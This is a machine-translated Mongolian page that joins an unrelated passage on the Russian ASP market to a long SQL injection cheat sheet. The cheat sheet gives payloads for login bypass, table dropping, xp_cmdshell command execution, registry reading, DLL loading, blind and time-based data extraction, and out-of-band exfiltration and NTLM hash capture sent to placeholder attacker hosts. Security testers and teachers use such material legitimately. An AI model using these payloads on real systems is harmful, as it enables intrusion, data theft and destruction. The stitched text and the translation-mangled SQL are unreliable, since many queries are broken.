Нэвтрэх хяналтыг програмчлах. Та SQL injection ашиглан тушаалуудыг алсаас хэрхэн гүйцэтгэх вэ?

Одоогийн байдлаар Орос улсад бүрэн хэмжээний ASP зах зээл бий болсон гэж хэлж болохгүй. Оросын хэрэглэгчид ихэнх тохиолдолд ASP-ийн үзэл баримтлалыг тэдний бизнест хэрэгтэй гэж ойлгодоггүй. Одоогоор (энэ нийтлэлийг бичиж байх үед) Оросын зах зээлТомоохон аж ахуйн нэгжид ASP загварыг бүрэн хэмжээгээр хэрэгжүүлсэн амжилттай жишээ ганц ч байдаггүй. Үнэн хэрэгтээ зөвхөн хостинг, ASP загварын бие даасан хэрэгжүүлсэн элементүүд, ASP бизнес эрхлэх хүсэлтэй компаниуд гэх мэт. Өөрөөр хэлбэл, Орос улсад сонгодог ASP загварыг хараахан хэрэгжүүлээгүй байна.

Одоо Оросын зах зээл дээр ASP загвар нь зөвхөн хувийн цахим шуудангийн үйлчилгээ (Mail.ru, Beep.ru, Freemail.ru гэх мэт) болон өндөр технологийн тусгай үйлчилгээнд (жишээлбэл, баннер, хайлтын систем, интернетийн статистикийн систем) хамаарна. гэх мэт). Үүний зэрэгцээ шуудангийн үйлчилгээг түрээслэх нь зөвхөн хэрэглэгч бүрт хувийн шуудангийн хайрцгийг өгөх гэсэн үг биш юм. Үнэгүй цахим шуудангийн серверүүдийг жижиг бизнес, хувийн бизнес эрхлэгчид корпорацийн салбарт өргөн ашигладаг. Ийм үйлчилгээний гол үйлчлүүлэгчид нь корпорацийн цахим шуудангийн үйлчилгээ (эсвэл байгууллагын баримт бичгийн урсгалыг автоматжуулах) зохион байгуулах хүсэлтэй компаниуд эсвэл үнэгүй вэб шуудангийн үйлчилгээг зохион байгуулах хүсэлтэй интернет үйлчилгээ үзүүлэгч (жишээлбэл, Rambler.ru, Yandex.ru гэх мэт порталууд) юм. үзэгчдийнхээ төлөө.

Оросын хэрэглэгчдийн дунд цахим дэлгүүр (цахим худалдааны платформ дээрх үзэсгэлэн) түрээслэх тодорхой сонирхол байдаг. Мөн энэ нь нэлээд ойлгомжтой юм. Орос улсад онлайн худалдааны амжилттай жишээ маш цөөхөн хэвээр байгаа тул (хэд хэдэн компаниуд гайхалтай амжилтынхаа талаар чанга мэдэгдлийг үл харгалзан) цахим дэлгүүр түрээслэхэд бага мөнгө зарцуулах нь хамгийн үндэслэлтэй юм. худалдан авах, хадгалах). Хэрэв төсөл бүтэлгүйтвэл нэлээд хурдан бөгөөд ихээхэн алдагдалгүйгээр хаах боломжтой. Барууны орнуудад өргөн тархсан ERP програмуудыг түрээслэх нь одоо Орост зөвхөн туршилтын төслүүдийн шатанд байна.

Түрээслэх санал болгож буй программуудад харьцангуй энгийн оффисын иж бүрдэл (MS Office гэх мэт) болон илүү төвөгтэй програмууд (Lotus Smart Suite гэх мэт), мөн ERP системүүд (Navision Axapta гэх мэт) хоёулаа багтана.

Оросын ASP зах зээлийн гол бэрхшээл, онцлог.

10.2 ОХУ-ын зах зээлд тулгарч буй асуудлууд.

Одоогийн байдлаар Оросын ASP зах зээл дэлхийн ASP зах зээлээс дор хаяж хэдэн жилээр хоцорч байна. Оросын ASP зах зээлийн үр хөврөлийн төлөв байдал нь үүн дээр байгаа олон асуудлуудаас үүдэлтэй юм. Эдгээр асуудлын гол нь:

1. Оросын эдийн засгийн барууныхаас ерөнхий хоцрогдол, аж ахуйн нэгжүүдийн техникийн дэд бүтцийн хөгжил сул байна. Өнөөг хүртэл Оросын ихэнх аж ахуйн нэгжүүд хэдэн арван жилийн өмнө бий болсон техникийн дэд бүтцээр ажилладаг. Одоогийн байдлаар аж ахуйн нэгжүүдийн түүнийг шинэчлэхэд оруулсан хөрөнгө оруулалт хангалтгүй хэвээр байна. Энд асуудал бол аж ахуйн нэгжүүдийн санхүүгийн тэргүүлэх чиглэл юм, учир нь Тэд бүгд техникийн дэд бүтцийг шинэчлэхэд шаардлагатай хөрөнгө оруулалт хийж чадахгүй. Тиймээс одоо байгаа дэд бүтцээ ашиглан тулгамдсан асуудлаа шийдэх ёстой.

2.ASP үйлчилгээний эрэлт бага. Хүн ам болон корпорацийн үйлчлүүлэгчид (ихэнхдээ) ASP үйлчилгээний төлбөрийг төлөхөд бэлэн биш байна. Оросын жирийн хэрэглэгч одоо илүү чухал бөгөөд чухал зардлын тэргүүлэх чиглэлтэй байгаа бол корпорацийн хэрэглэгчид ASP үйлчилгээг нухацтай авч үзэхгүй байна.

3.Цахим зах зээлийн хууль тогтоомжийн сул тал. Бүрэн багц хуулиудыг батлах хүртэл цахим зах зээлийг хөгжүүлэх талаар ярих шаардлагагүй (ASP орно).

4. Байгууллагын үйлчлүүлэгчдийн (ялангуяа хамгийн төлбөрийн чадвартай аж ахуйн нэгжүүдийн) санхүүгийн тайлангийн хаалттай байдал.

5. Томоохон компаниудын мэдээллийн технологийн хэлтсүүдийн эсэргүүцэл (тодорхой ба далд) бусад ажилдаа анхаарлаа хандуулах, ажилтнууд болон мэдээллийн технологийн төсвийг багасгах гэх мэт.

6. Оросын аж ахуйн нэгжүүдэд зориулсан ASP загварт ашиглах боломжтой цөөн тооны програмууд.

7. Оросын хөдөлмөрийн зах зээлд харьцангуй бага цалинтай анхан шатны болон дунд түвшний мэдээллийн технологийн мэргэжилтнүүд нэлээд олон байгаа. 1998 оны хямралын дараа мэдээллийн технологийн мэргэжилтнүүдийн цалингийн дийлэнх хувь нь хямралын дараах түвшинд хэвээр байв. Жижиг, дунд компаниуд ASP үйлчилгээний төлбөрийг төлөхөөс илүүтэй хувийн мэдээллийн технологийн үйлчилгээгээ хадгалах нь заримдаа хямд байдаг (нөхцөл байдал яг эсрэгээрээ байдаг барууны компаниудаас ялгаатай).

SQL тарилгын хууран мэхлэх хуудсыг хураангуй тайлбарлах зорилгоор бүтээсэн техникийн шинж чанарууд янз бүрийн төрөл SQL тарилгын эмзэг байдал. Нийтлэлд SQL тарилгын онцлогуудыг танилцуулж байна MySQL, Microsoft SQLСервер, ORACLEТэгээд PostgreSQL.

0. Танилцуулга
Энэ нийтлэлээс та нарийвчилсан мэдээллийг олж авах боломжтой техникийн мэдээлэлянз бүрийн төрлийн SQL тарилгын тухай. Энэ нь туршлагатай мэргэжилтнүүд болон мэдээллийн аюулгүй байдлын салбарт шинээр ирж буй хүмүүст ашигтай байж болох юм.

Одоогоор санамж нь зөвхөн MySQL, Microsoft-ын мэдээллийг агуулж байна SQL серверболон ORACLE болон PostgreSQL-д зориулсан зарим өгөгдөл. Хэсэг нь тарилгын синтакс, тайлбар, жишээг агуулдаг.

Ашигласан тэмдгүүд:
M (MySQL);
S (SQL сервер);
O (Oracle);
P (PostgreSQL);
+ (бусад мэдээллийн сан дээр байж магадгүй);
* (тусгай нөхцөл шаардлагатай).

1. Мөрний тайлбар
Сэтгэгдэл нь асуулгын нэг хэсгийг үл тоомсорлоход ерөнхийдөө ашигтай байдаг.
Синтакс:
-- (SM): DROP дээж авах хүснэгт;--
# (M): DROP жишээ хүснэгт;#
Жишээ:
Хэрэглэгчийн нэр: админ" --
Үүсгэсэн асуулга: SELECT * FROM гишүүдээс ХААНА хэрэглэгчийн нэр = "админ"--" БА нууц үг = "нууц үг"
Энэ нь таныг нууц үгийн шалгалтыг давж админ хэрэглэгчээр нэвтрэх боломжийг олгоно.

2. Сэтгэгдэл бичихийг хориглох
Тэдгээрийн тусламжтайгаар та хүсэлтийн хэсгийг үл тоомсорлож, хоосон зайг солих, хар жагсаалтыг тойрч гарах, мэдээллийн сангийн хувилбарыг тодорхойлох боломжтой.
Синтакс:
/*Сэтгэгдэл*/ (SM):
DROP/*тайлбар*/түүвэрлэх боломжтой
DR/**/OP/*хар жагсаалтыг тойрч гарах*/түүвэрлэх боломжтой
СОНГОХ/*орон зайг солих*/нууц үг/**/FROM/**/Гишүүд

/*! MYSQL Special SQL */ (M): SELECT /*!32302 1/0, */ 1 FROM tablename
Энэ бол MySQL-д зориулсан тусгай тайлбарын синтакс юм. Энэ нь MySQL хувилбарыг илрүүлэх боломжийг танд олгоно. Энэ тайлбар нь зөвхөн MySQL дээр ажиллах болно
Жишээ нь:
ID: 10; DROP TABLE гишүүд /*
Бид мөрийн тайлбар шиг хүсэлтийн үлдсэн хэсгийг үл тоомсорлодог.

ID: /*!32302 10*/
Хэрэв MySQL хувилбар 3.23.02-с дээш байвал та ID=10-тай ижил хариулт авах болно.

ID: /*!32302 1/0, */
Үүсгэсэн асуулга: SELECT /*!32302 1/0, */ 1 FROM tablename
Хэрэв сервер нь 3.23.02-с дээш MySQL хувилбартай бол 0-д хуваагдах алдаа гарна.

3. Хүсэлтийн дараалал
Нэг удаад нэгээс олон хүсэлтийг ажиллуулах боломжийг танд олгоно. Энэ нь тарилгын аль ч цэгт ашигтай байдаг.


Ногоон - дэмжигдсэн; хар - дэмжигдээгүй; саарал - үл мэдэгдэх.
Синтакс:
; (S): Гишүүдээс СОНГОХ *; DROP гишүүд--
Нэг хүсэлт дууссан, дараагийнх нь эхэлсэн.
Жишээ:
ID: 10; DROP гишүүд --
Үүсгэсэн асуулга: SELECT * FROM бүтээгдэхүүн WHERE id = 10; DROP гишүүд--
Энэ асуулга нь ердийн асуулгын дараа гишүүдийн хүснэгтийг унагах болно.

4. Нөхцөл илэрхийлэл
Бид шаардлага хангасан тохиолдолд хариуг нь хүлээн авна. Энэ бол сохор тарилгын гол цэгүүдийн нэг юм. Энэ нь мөн энгийн зүйлсийг үнэн зөв шалгахад тусалдаг.
Синтакс:
IF(нөхцөл, үнэн хэсэг, худал хэсэг) (M): SELECT IF(1=1,"үнэн","худал")
IF нөхцөл үнэн-хэсэг ALSE худал-хэсэг (S): IF (1=1) "үнэн"-г СОНГОХ ELSE "худал"-г сонго
IF нөхцөл THEN үнэн хэсэг; БУСДАА худал хэсэг; ENDIF; ТӨГСГӨЛ; (O): IF (1=1) THEN dbms_lock.sleep(3); ELSE dbms_lock.sleep(0); ENDIF; ТӨГСГӨЛ;
SELECT CASE WHEN нөхцөл THEN true-part ELSE false-part END; (P): (1=1) ТЭГВЭЛ "A" ӨСГӨ "B" ТӨГСГӨЛИЙГ СОНГОХ;
жишээ:
хэрэв ((хэрэглэгчийг сонгох) = "sa" ЭСВЭЛ (хэрэглэгчийг сонгох) = "dbo") 1-ийг сонговол 1/0 (S)-г сонго
бол тэг алдаагаар хуваах болно одоогийн хэрэглэгч"sa" эсвэл "dbo" биш.

5. Тоо ашиглах
WAF зэрэг magic_quotes() болон ижил төстэй шүүлтүүрүүдийг тойрч гарахад ашигладаг.
Синтакс:
0xHEX_NUMBER (SM):
CHAR (0x66) СОНГОХ (S)
SELECT 0x5045 (энэ нь тоо биш, харин мөр) (M)
SELECT 0x50 + 0x45 (одоо энэ бол тоо) (M)
Жишээ нь:
LOAD_FILE СОНГОХ(0x633A5C626F6F742E696E69) (M)
c:\boot.ini файлын агуулгыг харуулна

6. Мөр холбох
Мөрийн үйлдлүүд нь шүүлтүүрийг тойрч гарах эсвэл мэдээллийн санг тодорхойлоход тусална.
Синтакс:
+ (S): Гишүүдээс нэвтрэх + "-" + нууц үг СОНГОХ
|| (*MO): SELECT нэвтрэх || "-" || гишүүдээс нууц үг
MySQL ANSI горимд ажиллаж байгаа тохиолдолд ажиллах болно. Үгүй бол MySQL үүнийг хүлээн зөвшөөрөхгүй логик операторба 0-г буцаана. MySQL-д CONCAT() функцийг ашиглах нь дээр.

CONCAT(str1, str2, str3, …) (M): Гишүүдээс CONCAT(нэвтрэх, нууц үг) СОНГОХ

7. Хашилтгүй мөрүүд
CHAR() (MS) болон CONCAT() (M) гэх мэт асуулгад ишлэл ашиглахаас зайлсхийх хэд хэдэн арга байдаг.
Синтакс:
СОНГОХ 0x457578 (M)

MySQL нь мөрийг зургаан талт код хэлбэрээр илэрхийлэх энгийн аргатай:
SELECT CONCAT("0x",HEX("c:\\boot.ini"))

"KLM" мөрийг буцаана:
CONCAT SELECT(CHAR(75),CHAR(76),CHAR(77))(M)
СОНГОХ CHAR(75)+CHAR(76)+CHAR(77) (S)
СОНГОХ CHR(75)||CHR(76)||CHR(77) (O)
СОНГОХ (CHaR(75)||CHaR(76)||CHaR(77)) (P)

8. Мөр ба тоог хөрвүүлэх.
Синтакс:
ASCII() (SMP): SELECT ASCII("a")
Хамгийн зүүн талын тэмдэгтийн ASCII кодыг буцаана. Энэ функцийг сохор тарилга хийхэд ашигладаг.

CHAR() (SM): СОНГОХ CHAR(64)
ASCII кодыг харгалзах тэмдэгт рүү хөрвүүлнэ.

9. UNION оператор
UNION операторын тусламжтайгаар та хүснэгтүүдийн огтлолцлын талаар асууж болно. Үндсэндээ та өөр хүснэгтээс утгыг буцаадаг асуулга илгээж болно.
Жишээ:
SELECT толгой хэсэг, txt FROM news UNION ALL SELECT нэр, pass FROM гишүүд
Энэ нь мэдээ болон гишүүдийн хүснэгтийн үр дүнг нэгтгэх болно

10. Баталгаажуулалтыг тойрч гарах (SMO+)
Жишээ нь:
админ" --
админ" #
админ"/*
"эсвэл 1=1--
" эсвэл 1=1#
"эсвэл 1=1/*
") эсвэл "1"="1--
") эсвэл ("1"="1--

11. MD5 баталгаажуулалтыг тойрч гарах
Хэрэв програм эхлээд хэрэглэгчийн нэрийг харьцуулж, дараа нь нууц үгийн md5 хэшийг харьцуулж үзвэл баталгаажуулалтыг тойрч гарах нэмэлт заль мэх хэрэгтэй болно. Та үр дүнг мэдэгдэж буй нууц үг болон түүний хэштэй нэгтгэж болно.
Жишээ (MSP):
Хэрэглэгчийн нэр: админ
Нууц үг: 1234 " БА 1=0 UNION ALL SELECT "admin", "
= MD5(1234)

12. Алдаа дээр суурилсан
12.1 HAVING BY(S) ашиглан баганыг тодорхойлох
Жишээ:
Үүнтэй ижил дарааллаар
" 1=1 БАЙХ --
" table.columnfromerror1-ээр бүлэглэх 1=1 --
" table.columnfromerror1, columnfromerror2. HAVING 1=1 --
" 1=1-тэй хүснэгт.columnfromerror1, багананаасалдаа2, баганаасалдаа3-аар бүлэглэх -
…………….
Алдаа гарахаа болих хүртэл үргэлжлүүлээрэй.

12.2 ORDER BY (MSO+) ашиглан баганын тоог тодорхойлох
ORDER BY ашиглан баганын тоог олохыг UNION injection ашиглан хурдасгаж болно.
1-ээр ЗАХИАЛАХ
2-р ЗАХИАЛАХ
3-аар ЗАХИАЛАХ
………………..
Алдааны мэдэгдэл хүлээн авах хүртэл үргэлжлүүлнэ үү. Энэ нь баганын тоог заана.

13. Өгөгдлийн төрлийн тодорхойлолт
UNION-г ALL-тай үргэлж ашиглаарай.
Хүснэгтийн шаардлагагүй оруулгыг арилгахын тулд асуулгын эхэнд байхгүй утгууд дээр -1-ийг ашиглана уу (хэрэв тарилга нь WHERE параметрт байгаа бол). Хэрэв та нэг удаад зөвхөн нэг утгыг авах боломжтой бол энэ нь чухал юм.
UNION тарилгад мөр, огноо, тоо гэх мэтийг таамаглахын оронд NULL ашиглана уу. Гэхдээ сохроор тариа хийхдээ болгоомжтой байгаарай, учир нь... Та мэдээллийн сангийн алдааг програмтай андуурч байж магадгүй. ASP.NET зэрэг зарим хэлүүд NULL утгыг ашиглах үед алдаа гаргадаг (учир нь хөгжүүлэгчид хэрэглэгчийн нэрийн талбарт тэг утгыг харна гэж бодоогүй)
Жишээ нь:
" union сонгох нийлбэр(columntofind)-г хэрэглэгчдээс-- (S) :
Хэрэв та алдааны мэдэгдэл хүлээн аваагүй бол багана нь тоон хэлбэртэй байна.

СОНГОХ * Хүснэгт1-ээс id = -1 UNION ALL SELECT null, null, NULL, NULL, хувиргах(зураг,1), null, null, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL --
Та CAST() эсвэл CONVERT() ашиглаж болно.

11223344) UNION SELECT NULL,NULL,NULL,NULL ЭХНИЙ 1=2 –-
Хэрэв алдаа байхгүй бол синтакс зөв байна, i.e. MS SQL Server ашиглаж байна.

11223344) UNION SELECT 1,NULL,NULL,NULL ҮГҮЙ 1=2 –-
Хэрэв алдаа байхгүй бол эхний багана нь тоо байна.

11223344) UNION SELECT 1,2,NULL,NULL ХААД 1=2 –
Хэрэв алдаа гарвал хоёр дахь багана нь тоо биш юм.

11223344) UNION SELECT 1,’2’,NULL,NULL БАЙНА 1=2 –-
Хэрэв алдаа байхгүй бол хоёр дахь багана нь мөр болно.
……………..

14. Энгийн оруулга (MSO+)
Жишээ:
"; хэрэглэгчдэд утгыг оруулах (1, "hax0r", "coolpass", 9)/*

15. Мэдээллийн цуглуулга
Синтакс:
@@ хувилбар (MS)
Та мэдээллийн сангийн хувилбар болон илүү дэлгэрэнгүй мэдээллийг олж авах боломжтой.
Жишээ:
Гишүүнд INSERT INSERT(id, user, pass) VALUES(1, ""+SUBSTRING(@@version,1,10) ,10)

16. Цогцолбор оруулга (S)
Файлын агуулгыг хүснэгтэд оруулах боломжийг танд олгоно. Хэрэв та вэб програмын дотоод замыг мэдэхгүй бол IIS метабаазыг уншиж болно (зөвхөн IIS 6).
Синтакс:
файл(%systemroot%\system32\inetsrv\MetaBase.xml)
Үүний дараа та програмын замуудыг олох боломжтой.
Жишээ:
1. Foo хүснэгт үүсгэх(string төрлийн varchar(8000))
2. ‘c:\inetpub\wwwroot\login.asp’ файлын агуулгыг table foo руу оруулна уу.
3. Түр зуурын хүснэгтийг буулгаж, өөр файлыг давтана уу.

17. BCP (S)
Бичдэг текст файл. Энэ нь итгэмжлэл шаарддаг.
Жишээ:
bcp "SELECT * FROM test..foo" асуулга c:\inetpub\wwwroot\runcommand.asp -c -Slocalhost -Usa -Pfoobar

18. SQL Server (S) дахь VBS, WSH
Та SQL Server дээр VBS, WSH скриптүүдийг ашиглаж болно.
Жишээ:
Хэрэглэгчийн нэр:"; зарлах @o int exec sp_oacreate "wscript.shell", @o out exec sp_oamethod @o, "ажиллуулах", NULL, "notepad.exe" –

19. Системийн командуудыг гүйцэтгэх (S)
Алдартай заль мэх, SQL Server 2005 дээр уг функцийг анхдагчаар хаасан байдаг. Танд администраторын эрх хэрэгтэй.
Жишээ:
EXEC master.dbo.xp_cmdshell "cmd.exe dir c:"
EXEC master.dbo.xp_cmdshell "ping"

20. SQL Server (S) дахь тусгай хүснэгтүүд
Жишээ нь:
Алдааны мессеж: master..sysmessages
Холбогдсон серверүүд: master..sysservers
Нууц үг SQL Server 2000: masters..sysxlogins
Нууц үг SQL Server 2005: sys.sql_logins

21. SQL Server (S)-д зориулсан олон хадгалсан процедур
Синтакс:
Cmd Гүйцэтгэх (xp_cmdshell)
Бүртгэлийн материал (xp_regread):
xp_regaddmultistring
xp_regdeletekey
xp_regdeletevalue
xp_regenumkeys
xp_regenumvalues
xp_reread
xp_regremovemmultistring
xp_regwrite
Үйлчилгээг удирдах (xp_servicecontrol)
Медиа (xp_availablemedia)
ODBC нөөц (xp_enumdsn)
Нэвтрэх горим (xp_loginconfig)
Каб файл үүсгэх (xp_makecab)
Домэйн тоолол (xp_ntsec_enumdomains)
Процесс алах (PID шаардлагатай) (xp_terminate_process)
Шинэ журам нэмэх (sp_addextendedproc)
Текст файлыг UNC эсвэл дотоод зам руу бичих (sp_makewebtask)
Жишээ нь:
exec xp_regread HKEY_LOCAL_MACHINE, "SYSTEM\CurrentControlSet\Services\lanmanserver\parameters", "nullsessionshares"
exec xp_regenumvalues ​​HKEY_LOCAL_MACHINE, "SYSTEM\CurrentControlSet\Services\snmp\parameters\valid Communities"
sp_addextendedproc 'xp_webserver', 'c:\temp\x.dll'
exec xp_webserver

22. MSSQL Бөөн тэмдэглэл
Жишээ нь:
СОНГОХ * master..sysprocesses /*WHERE spid=@@SPID*/
@result int; EXEC @үр дүн = xp_cmdshell "dir *.exe";Хэрэв (@үр дүн = 0) СОНГОХ 0 ӨСГӨӨ СОНГОХ 1/0
HOST_NAME()
IS_MEMBER (Transact-SQL)
IS_SRVROLEMEMBER (Transact-SQL)
OPENDATASOURCE (Transact-SQL)
INSERT tbl EXEC master..xp_cmdshell OSQL /Q"DBCC SHOWCONTIG"
OPENROWSET (Transact-SQL) - http://msdn2.microsoft.com/en-us/library/ms190312.aspx

23. LIMIT (M) асуулгад SQL injection
Жишээ:
SELECT id, product FROM test.test LIMIT 0,0 UNION ALL SELECT 1,"x"/*,10 ;
LIMIT операторыг тойрч гарахын тулд та UNION эсвэл тайлбарыг ашиглаж болно.

24. SQL серверийг унтраах (S)
Жишээ:
";унтраах -

25. SQL Server 2005 дээр xp_cmdshell-г идэвхжүүлж байна
Синтакс:
SQL Server 2005-д xp_cmdshell болон аюултай байж болох хэд хэдэн функцийг анхдагч байдлаар идэвхгүй болгосон. Хэрэв танд захиргааны эрх байгаа бол тэдгээрийг идэвхжүүлж болно.
EXEC sp_configure "дэвшилтэт сонголтуудыг харуулах",1
ДАХИН ТОХИРУУЛАХ
EXEC sp_configure "xp_cmdshell",1
ДАХИН ТОХИРУУЛАХ

26. SQL Server (S) дээр өгөгдлийн сангийн бүтцийг хайж байна.
Жишээ нь:
Xtype = "U" WHERE системийн объектуудаас нэрийг СОНГОХ

SELECT name FROM syscolumns WHERE id =(SELECT id FROM sysobjects WHERE name = "tablenameforcolumnnames")
Баганын нэрийг авч байна

27. Хөдөлгөөнт бичлэгүүд (S)
Жишээ нь:
... ХААНА хэрэглэгчид ОРОХГҮЙ ("Эхний хэрэглэгч", "Хоёр дахь хэрэглэгч")
NOT IN эсвэл NOT EXIST-тэй WHERE-г ашиглана уу

ГИШҮҮДЭЭС ШИЛДЭГ 1 НЭРИЙГ БАЙХГҮЙ ГИШҮҮДЭЭС СОНГООРОЙ(ГИШҮҮДЭЭС ШИЛДЭГ 0 нэрийг сонго)

СОНГОХ * БҮТЭЭГДЭХҮҮНИЙГ ХААНА ID=2 БА 1=CAST(((СОНГОХ (СОНГОХ COUNT(i.id) AS AS SYSOBjects i WHERE i.id) -аас p.name сонгоно).<=o.id)
AS x, системээс авсан нэр o) p гэж энд p.x=3) int

(i WHERE xtype="U" болон i.id-с (СОНГОХ (СОНГОХ COUNT(i.id)) AS SYSOBjects AS rid-аас p.name сонгоно уу.<=o.id) AS x, name from sysobjects o WHERE o.xtype = "U") as p where p.x=21

28. SQL Server (S) дээрх Алдаанд суурилсан SQL тарилгааас өгөгдлийг гаргаж авах хурдан арга
";BEGIN DECLARE @rt varchar(8000) SET @rd=":" SELECT @rd=@rd+" "+name FROM syscolumns WHERE id =(SELECT id FROM sysobjects WHERE name = "MEMBERS") AND name>@rd SELECT @rd AS rd руу TMP_SYS_TMP төгсгөл;--

29. MySQL дээр өгөгдлийн сангийн бүтцийг хайх (M)
Жишээ нь:
table_name ХААНА information_schema.tables-аас хүснэгтийн_нэрийг СОНГОХ хүснэгт_schema = "хүснэгтийн нэр"
Захиалгат хүснэгтүүдийг авч байна

table_schema = "хүснэгтийн нэр" ХААНА information_schema.columns-аас хүснэгтийн_нэр, баганын_нэр СОНГОХ
Баганын нэрийг авч байна

30. Oracle (O) дээр өгөгдлийн сангийн бүтцийг хайж байна.
Жишээ нь:
СОНГОХ * бүх_хүснэгтээс WHERE OWNER = "DATABASE_NAME"
Захиалгат хүснэгтүүдийг авч байна

* ХҮСНЭГТ_NAME = "ХҮСНЭГТ"-ийг бүх_col_comments-аас СОНГОХ
Баганын нэрийг авч байна

31. Сохор тарилга
Чанартай програм дээр та алдааны мессежийг харах боломжгүй болно. Та UNION оператор болон Алдаанд суурилсан халдлагуудыг ашиглах боломжгүй болно. Өгөгдлийг задлахын тулд та сохор SQL тарилга ашиглах хэрэгтэй болно. Хоёр төрлийн сохор тариа байдаг.
Тогтмол сохор тарилга: та хуудас дээрх хүсэлтийн үр дүнг харах боломжгүй боловч хариу эсвэл HTTP статусаас үр дүнг тодорхойлох боломжтой.
Бүрэн сохор тарилга: Та гаралтын ямар ч ялгааг харахгүй.
Энгийн сохор тарилгад та IF болон WHERE мэдэгдлийг ашиглаж болно, бүрэн сохор тарилгад та зарим хүлээх функцийг ашиглаж, хариу өгөх хугацааг харьцуулах хэрэгтэй. Үүнийг хийхийн тулд та SQL Server-д WAIT FOR DELAY '0:0:10', MySQL-д BENCHMARK() болон sleep(10), PostgreSQL-д pg_sleep(10)-г ашиглаж болно.
Жишээ:
Энэ жишээ нь SQL Server дээрх сохор тарилгын бодит амьдрал дээр үндэслэсэн болно.

ҮНЭН: ID = 1 БА ISNULL (ASCII(SUBSTRING((xtYpe=0x55 БАЙХ sysObjects-аас ТОП 1 нэрийг СОНГОХ) БА НЭР БУС БАЙНА(SysObjects WHERE xt55Ype-с ТОП 0 нэрийг СОНГО)=1x) ҮНЭН: ID, хэрэглэгчийн нэр, имэйл ,1)),0)>78--

ХУДАЛ: ID = 1 БА ISNULL (ASCII(SUBSTRING((sysObjects-аас xtYpe=0x55 БА НЭР БУС БАЙНА) ТОП 1 нэрийг СОНГООРОЙ(SysObjects WHERE xt55Ype) ТОП 0 нэрийг СОНГОХ),1x ,1)),0)>103--

ХУДАЛ: ID = 1 БА ISNULL (ASCII(SUBSTRING((sysObjects-аас xtYpe=0x55 БА НЭР БУС БАЙНА) ТОП 1 нэрийг СОНГООРОЙ(SysObjects WHERE xt55Ype) ТОП 0 нэрийг СОНГОХ),1x ,1)),0)>89--

ХУДАЛ: ID = 1 БА ISNULL (ASCII(SUBSTRING((sysObjects-аас xtYpe=0x55 БА НЭР БУС БАЙНА) ТОП 1 нэрийг СОНГООРОЙ(SysObjects WHERE xt55Ype) ТОП 0 нэрийг СОНГОХ),1x ,1)),0)>83--

ҮНЭН: ID = 1 БА ISNULL (ASCII(SUBSTRING((xtYpe=0x55 БАЙХ sysObjects-аас ТОП 1 нэрийг СОНГОХ) БА НЭР БУС БАЙНА(SysObjects WHERE xt55Ype-с ТОП 0 нэрийг СОНГО)=1x) ҮНЭН: ID, хэрэглэгчийн нэр, имэйл ,1)),0)>79--

ХУДАЛ: ID = 1 БА ISNULL (ASCII(SUBSTRING((sysObjects-аас xtYpe=0x55 БА НЭР БУС БАЙНА) ТОП 1 нэрийг СОНГООРОЙ(SysObjects WHERE xt55Ype) ТОП 0 нэрийг СОНГОХ),1x ,1)),0)>80--

Сүүлийн хоёр асуулгад үндэслэн бид ascii дахь эхний тэмдэгтийн утгыг яг таг мэдэж байгаа - энэ нь 80 байна. Энэ нь эхний тэмдэгт нь `P` гэсэн үг юм. Ингэснээр бид хүснэгтүүдийн нэр, тэдгээрийн агуулгыг олж мэдэх боломжтой. Өөр нэг арга бол өгөгдлийг бага багаар унших явдал юм.

32. Бүрэн сохор тарилга
Энэ аргыг зөвхөн үнэхээр сохор тарилга хийх тохиолдолд хэрэглэнэ. Хүлээх цагийг болгоомжтой байгаарай.
Синтакс:
ХОЦРОГДОЛ "цаг" (S)
Функц нь процессорыг ачаалахгүйгээр заасан цагийг хүлээх болно.
Жишээ нь:
хэрэв (хэрэглэгчийг сонгох) = "sa" "0:0:10" саатал хүлээхийг хүлээх
ProductID =1; "0:0:10" саатал хүлээх --
Бүтээгдэхүүний ID =1); "0:0:10" саатал хүлээх --
ProductID =1";"0:0:10" саатал хүлээх--
ProductID =1"); "0:0:10" саатал хүлээх --
Бүтээгдэхүүний ID =1)); "0:0:10" саатал хүлээх --
ProductID =1")); "0:0:10" саатал хүлээх --
Синтакс:
БЭНЧМАР(хэдэн удаа, үүнийг хийх) (М)
Жишээ:
ХЭРЭВ БАЙДАГ БОЛ (хэрэглэгчийн нэр = "root" ХААНААС * Хэрэглэгчдээс СОНГОХ) БЕНЧМАР(1000000000,MD5(1))
Бид үндсэн хэрэглэгч байгаа эсэхийг шалгадаг.

ХЭРЭВ (Нэвтрэхээс * СОНГОХ) БЕНЧМАР(1000000,MD5(1))
MySQL дээр хүснэгт байгаа эсэхийг шалгаж байна
Синтакс:
pg_sleep(секунд) (P)
Өгөгдсөн секундын турш унт.

унтах(секунд) (М)
өгөгдсөн секундын турш унт.

bms_pipe.receive_message (O)
өгөгдсөн секундын турш унт.
Жишээ:
(ХЭЗЭЭ СОНГОХ CASE (NVL(ASCII(SUBSTR(((INJECTION)),1,1)),0) = 100) THEN dbms_pipe.receive_message(("xyz"),10) БУСДАА dbms_pipe.receive_message(("xyz") ),1) Төгсгөл-ээс хос)
(ТАРИЛГА) – таны хүсэлт.
Хэрэв нөхцөл үнэн бол хариу 10 секунд болно. Үгүй бол хариу 1 секунд болно.

33. Ашигтай MySQL функцууд
Синтакс:
MD5()
SHA1()
НУУЦ ҮГ()
КОДОХ()
COMpress()
ROW_COUNT()
SCHEMA()
VERSION()

34. Хоёрдахь эрэмбийн SQL тарилга
Ер нь, та талбарт SQL тарилгын асуулга оруулж, шүүгдэхгүй байх болно.
Жишээ:
Нэр: " + (Хэрэглэгчдээс ШИЛДЭГ 1 нууц үгээ сонго) + "
Имэйл: [имэйлээр хамгаалагдсан]
Хэрэв програм нь хадгалагдсан процедур эсвэл функцийн талбарын нэрийг ашигладаг бол та үүнийг тарилга хийхэд ашиглаж болно.

35. NTLM хэшийг задлахад SQL Server ашиглах
Энэхүү халдлага нь гаднаас нэвтрэх эрх байхгүй тохиолдолд зорилтот серверийн Windows хэрэглэгчийн нууц үгийг SQL серверээр дамжуулан авахад тусална. Бид SQL серверийг UNC замаар Windows-тэй холбож, Cain & Abel гэх мэт тусгай хэрэгслийг ашиглан NTLM сессийг задлах боломжтой.

Синтакс:
UNC зам: "\\YOURIPADDRESS\C$\x.txt"
36. Тарилгын бусад жишээ
SQL сервер:
?vulnerableParam=1; СОНГОХ * OPENROWSET("SQLOLEDB", ((INJECTION))+".yourhost.com";"sa";"pwd", "SELECT 1")

?vulnerableParam=1; DECLARE @q varchar(1024); SET @q = "\\"+((ТАРИЛГА))+".yourhost.com\\test.txt"; EXEC мастер..xp_dirtree @q
